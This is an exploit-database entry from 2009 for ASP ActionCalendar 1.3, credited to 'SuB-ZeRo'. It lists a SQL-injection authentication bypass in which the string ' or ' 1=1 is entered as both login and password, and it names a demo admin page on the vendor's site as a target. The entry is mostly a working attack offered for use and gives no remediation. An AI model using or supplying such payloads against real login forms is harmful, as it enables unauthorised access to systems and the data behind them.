EXPLOITS

ASP ActionCalendar 1.3 - Authentication Bypass

Author: SuB-ZeRo
type: webapps
platform: asp
port: 
date_added: 2009-01-15  
date_updated:   
verified: 1  
codes: OSVDB-51500  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 7807.txt  

* Founded By : SuB-ZeRo (WaLiD)

* E-mail : Fbh@hotmail.com

* Home : WwW.dz-security.Net

* GreeTZ : D-unit & X.CJP.x & www.dz-security.net & gaza

---------------------------------------------------------

vondor : www.warrenstudios.com

---------------------------------------------------------

Exploit Auth Bypass:



login: ' or ' 1=1

passw: ' or ' 1=1

----------------------------------------------------------

-[!]

Demo :

http://www.warrenstudios.com/actioncalendar/admin.asp

----------------------------------------------------------

# milw0rm.com [2009-01-16]